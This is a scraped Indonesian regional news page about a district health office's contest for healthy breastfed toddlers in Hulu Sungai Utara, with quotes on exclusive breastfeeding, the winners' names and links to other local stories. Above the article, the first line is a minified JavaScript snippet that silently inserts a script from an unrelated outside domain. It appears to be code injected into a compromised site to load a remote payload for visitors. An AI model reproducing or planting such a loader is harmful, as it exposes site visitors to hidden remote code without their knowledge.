(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
AMUNTAI, Dinas Kesehatan Kabupaten HSU menggelar lomba anak Baduta (Bawah Dua Tahun) ASI sehat ibu cerdas tingkat Kabupaten HSU, Selasa (31/7).
Lomba yang diikuti anak Baduta, sebagai kegiatan sosialisasi atas pentingnya perhatian orang tua terhadap kondisi anak Baduta masing-masing, terutama pada usia anak menginjak usia emas 1000 hari pertama pertumbuhan.
Kepala Dinas Kesehatan HSU dr Agus Fidliansyah mengatakan, kegiatan lomba ini merupakan sarana untuk memberikan informasi, pemahaman serta motivasi kepada orang agar selalu dapat memperhatikan pertumbuhan anaknya.
“Lomba ini merupakan salah satu sarana untuk memberikan informasi dan motivasi kepada kita semua untuk selalu memerhatikan buah hati kita. Jadi di sini kita bisa sama-sama menilai apakah kondisi anak saat ini sudah sesuai dengan tujuan yang diharapkan,†kata Agus
Selain itu, melalui lomba ini juga dapat diketahui dan dinilai seberapa besar pemenuhan gizi anak, apakah sudah sesuai dengan proporsi tumbuh kembang anak.
“Kita sudah memiliki Peraturan Daerah tentang ASI eksklusif, jadi kami mengimbau agar bayi 0 sampai 6 bulan hanya mendapatkan ASI saja, di atas 6 bulan baru mendapatkan makanan pendamping ASI,†beber Agus.
Dinkes HSU berencana meningkatkan konselor untuk membimbing penggunaan ASI, disamping mengimbau kepada ibu-ibu untuk tidak menggunakan susu formula tanpa indikasi, cukup dengan ASI tumbuh kembang anak tetap akan optimal. Setelah 6 bulan baru ditambah makanan pendamping ASI seperti bubur, kemudian bisa ditambah buah, sayur, nasi dan lain-lain sesuai usianya, sampai usia anak tersebut 2 tahun. “Sehingga pertumbuhan anak sesuai dengan usianya, bertambah umur dan bertambah tinggi dan berat,†pungkas Agus.
Penilaian perlombaan anak baduta ASI sehat ibu cerdas, dibagi menjadi dua kategori yaitu kategori ibu bekerja dan kategori ibu rumah tangga. Penilaian dilakukan dengan cara diantaranya perhitungan berat badan ditambah dengan usia, serta banyak lagi faktor penilaian lainnya.
Setelah dilakukan penilaian secara selektif, didapatkan hasil untuk pemenang anak Baduta ASI sehat ibu cerdas kategori ibu bekerja dimenangkan Muhammad Ahsan F (juara 1), Wardatun Nadira (juara 2), dan Nor Azkia Nabila (juara 3). Untuk kategori ibu rumah tangga dimenangkan oleh Muhammad Naufal (juara 1), Zulfa Fitriyah (juara 2), dan Nida Khapiyya (juara 3). (dew)
KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More
KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More
Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More
KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More
KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More
This website uses cookies.